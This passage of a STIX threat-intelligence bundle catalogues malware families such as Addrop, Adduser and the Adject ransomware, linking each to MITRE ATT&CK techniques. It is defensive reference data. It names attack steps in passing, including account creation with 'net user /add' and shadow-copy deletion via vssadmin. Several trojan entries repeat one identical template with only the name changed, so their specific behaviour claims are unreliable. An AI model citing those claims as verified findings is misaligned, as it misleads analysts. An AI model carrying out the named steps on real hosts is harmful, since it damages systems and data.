      "description": "Addmepoint (classified in antivirus detection telemetry under designations including Trojan:Win32/Addmepoint, Trojan.Win32.Addmepoint, and Win32/Addmepoint) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Addmepoint executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Addmepoint",
        "Trojan.Win32.Addmepoint",
        "Win32/Addmepoint"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Addmepoint",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/addmepoint"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a53fc66a-dca5-5557-9388-fdf909a75dc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87740f09-0d0f-50af-b61a-1bf83f43d710",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addmepoint exhibits technique T1189 (Drive-by Compromise (Distribution via bundled freeware installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6385eee-4c42-5498-9f1e-0cdcb4fb15fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87740f09-0d0f-50af-b61a-1bf83f43d710",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addmepoint exhibits technique T1176 (Browser Extensions (Installing malicious add-ons to control the browser))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1539: Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud)",
      "description": "MITRE ATT&CK Technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1539",
          "url": "https://attack.mitre.org/techniques/T1539/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de372e32-77ab-5a06-96d4-d6a28da30c83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87740f09-0d0f-50af-b61a-1bf83f43d710",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addmepoint exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fa0d521f-de65-56cd-a936-8240d1888f39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Addrop",
      "description": "Addrop (cataloged across security vendors as Adware:Win32/Addrop, Adware.Addrop, and PUA:Win32/Addrop) is a persistent adware dropper and Potentially Unwanted Application (PUA) family active since 2014. Unlike simple downloaders that retrieve assets over the internet, Addrop packages multiple adware modules, browser hijackers, and tracking extensions compressed directly within its own executable stub. Distributed primarily through deceptive freeware installers, torrented software cracks, and fake media codec downloaders, Addrop executes silently in the background while displaying simulated setup progress dialogs. Once active, it extracts its payload of advertising frameworks into %ProgramFiles% and %AppData% directories. It modifies the Windows Registry to establish persistent autostart run keys, drops rogue extensions across Google Chrome, Mozilla Firefox, and Microsoft Edge to inject sponsored advertisements into visited websites, and alters DNS or HOSTS settings to redirect user search traffic to affiliate monetization networks. (Observed samples in benchmark: 103)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Addrop",
        "Adware.Addrop",
        "PUA:Win32/Addrop",
        "Trojan.Win32.Addrop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Addrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/addrop"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb604631-1db6-51c7-ba1e-f5a867136b69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa0d521f-de65-56cd-a936-8240d1888f39",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addrop exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c4b7dc4-7557-5144-849c-d996e2a89429",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa0d521f-de65-56cd-a936-8240d1888f39",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addrop exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6d4b0c9-005f-5b41-adb1-eecd34a42e7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa0d521f-de65-56cd-a936-8240d1888f39",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addrop exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d58f152-37be-56c2-91ff-153387d30a69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa0d521f-de65-56cd-a936-8240d1888f39",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addrop exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5abec3ab-1e01-528e-9f2c-930b28b61510",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa0d521f-de65-56cd-a936-8240d1888f39",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addrop exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a73048d1-3d69-5c4c-830f-324965d25a15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa0d521f-de65-56cd-a936-8240d1888f39",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addrop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6166c44d-9f76-5772-936d-edd5e37ba616",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adduser",
      "description": "Adduser (classified in antivirus detection telemetry under designations including Backdoor:Win32/Adduser, Backdoor.Win32.Adduser, and Win32/Adduser) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adduser executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Adduser",
        "Backdoor.Win32.Adduser",
        "Win32/Adduser"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adduser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adduser"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--87b4dd32-2e2b-57d4-abf5-4607e55f4d66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1136.001: Create Account: Local Account (net user /add)",
      "description": "MITRE ATT&CK Technique T1136.001 (Create Account: Local Account (net user /add)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1136.001",
          "url": "https://attack.mitre.org/techniques/T1136/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f8ecff9-666a-5c15-8416-e29ff0681376",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6166c44d-9f76-5772-936d-edd5e37ba616",
      "target_ref": "attack-pattern--87b4dd32-2e2b-57d4-abf5-4607e55f4d66",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adduser exhibits technique T1136.001 (Create Account: Local Account (net user /add))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--36ae2f52-7e41-5fcb-beb6-4223bcef2b04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1136.002: Create Account: Domain Account",
      "description": "MITRE ATT&CK Technique T1136.002 (Create Account: Domain Account) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1136.002",
          "url": "https://attack.mitre.org/techniques/T1136/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e012360-bfe0-56e0-b5b2-c6875f5c5b3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6166c44d-9f76-5772-936d-edd5e37ba616",
      "target_ref": "attack-pattern--36ae2f52-7e41-5fcb-beb6-4223bcef2b04",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adduser exhibits technique T1136.002 (Create Account: Domain Account)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1059.003: Command and Scripting Interpreter: Windows Command Shell",
      "description": "MITRE ATT&CK Technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1059.003",
          "url": "https://attack.mitre.org/techniques/T1059/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0aa0c3f-2dac-568c-9810-192039a5c365",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6166c44d-9f76-5772-936d-edd5e37ba616",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adduser exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--07b9fde6-6936-544c-bf7a-beb3adad3759",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adgazelle",
      "description": "Adgazelle (classified in antivirus detection telemetry under designations including Trojan:Win32/Adgazelle, Trojan.Win32.Adgazelle, and Win32/Adgazelle) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adgazelle executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Adgazelle",
        "Trojan.Win32.Adgazelle",
        "Win32/Adgazelle"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adgazelle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adgazelle"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e82bbc0f-0c2a-5d13-8efd-fae458cc1228",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07b9fde6-6936-544c-bf7a-beb3adad3759",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adgazelle exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cd745fa-7f30-580c-a4a8-74cf2937b313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07b9fde6-6936-544c-bf7a-beb3adad3759",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adgazelle exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61d42914-e513-5ae8-b521-5020d7ad6bc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07b9fde6-6936-544c-bf7a-beb3adad3759",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adgazelle exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c051b24-4eb1-50fa-81fb-f6e4bc0eaa88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07b9fde6-6936-544c-bf7a-beb3adad3759",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adgazelle exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d51e6371-1102-5e5f-adcd-e91eae4568d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07b9fde6-6936-544c-bf7a-beb3adad3759",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adgazelle exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b95abc03-6f3c-524c-97c1-f50152873241",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adinstaller",
      "description": "Adinstaller (classified in antivirus detection telemetry under designations including Trojan:Win32/Adinstaller, Trojan.Win32.Adinstaller, and Win32/Adinstaller) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adinstaller executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Adinstaller",
        "Trojan.Win32.Adinstaller",
        "Win32/Adinstaller"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adinstaller"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57d06282-e537-5367-b8b2-c941c7b7cb80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95abc03-6f3c-524c-97c1-f50152873241",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adinstaller exhibits technique T1189 (Drive-by Compromise (Bundled Installers via SEO poisoning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55ca2571-5b05-52dd-a8f1-2a7524e7df21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95abc03-6f3c-524c-97c1-f50152873241",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adinstaller exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary adware payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85dbbca8-a588-5728-bae3-df674bdb8d68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95abc03-6f3c-524c-97c1-f50152873241",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adinstaller exhibits technique T1176 (Browser Extensions (Bundled adware extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19adadb2-6035-51ec-bf46-65fefb162b52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95abc03-6f3c-524c-97c1-f50152873241",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adinstaller exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a4ac572a-22bc-5b58-9250-2ea36f2d95eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adject",
      "description": "Adject (classified across antivirus engines as Ransom:Win32/Adject, Trojan-Ransom.Win32.Adject, and Win32/Adject) is a targeted crypto-ransomware family designed to execute rapid file encryption across Windows endpoints. Distributed via malvertising campaigns, malicious document attachments, and compromised RDP access, Adject terminates running office and database processes to clear file locks before encryption. It leverages AES-256 symmetric encryption to lock files and appends .adject to filenames, placing ransom notes titled HOW_TO_RESTORE_ADJECT.txt in affected directories. To ensure payment compliance, Adject executes shell commands to purge Volume Shadow Copies via vssadmin and disables Windows recovery mode. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Adject",
        "Trojan-Ransom.Win32.Adject",
        "Win32/Adject",
        "Adject Ransomware",
        "Ransom.Adject"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adject",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adject"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fde7ce47-e39d-502f-8186-b6661998150a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4ac572a-22bc-5b58-9250-2ea36f2d95eb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adject exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--494dedf3-4e65-5254-8a34-387f38d8255a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4ac572a-22bc-5b58-9250-2ea36f2d95eb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adject exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--976cc310-ed3c-520e-be29-cb1db2fb2868",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4ac572a-22bc-5b58-9250-2ea36f2d95eb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adject exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0e445fd-cad6-5419-bf05-0738ac0b7367",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4ac572a-22bc-5b58-9250-2ea36f2d95eb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adject exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72971fa4-0d1a-5946-bef6-a695bcee3114",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4ac572a-22bc-5b58-9250-2ea36f2d95eb",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adject exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc59fd8c-a74c-5e9a-83e9-46b9df976dfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adkdllwrapper",
      "description": "Adkdllwrapper (classified in antivirus detection telemetry under designations including Trojan:Win32/Adkdllwrapper, Trojan.Win32.Adkdllwrapper, and Win32/Adkdllwrapper) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adkdllwrapper executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Adkdllwrapper",
        "Trojan.Win32.Adkdllwrapper",
        "Win32/Adkdllwrapper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adkdllwrapper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adkdllwrapper"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1574.001: Hijack Execution Flow: Search Order Hijacking (DLL Wrapping)",
      "description": "MITRE ATT&CK Technique T1574.001 (Hijack Execution Flow: Search Order Hijacking (DLL Wrapping)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1574.001",
          "url": "https://attack.mitre.org/techniques/T1574/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1163b89-5b2d-5cd1-a118-a1888de471e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc59fd8c-a74c-5e9a-83e9-46b9df976dfb",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adkdllwrapper exhibits technique T1574.001 (Hijack Execution Flow: Search Order Hijacking (DLL Wrapping))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--203365f6-42ce-5b84-94a4-7558a8040ab0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc59fd8c-a74c-5e9a-83e9-46b9df976dfb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
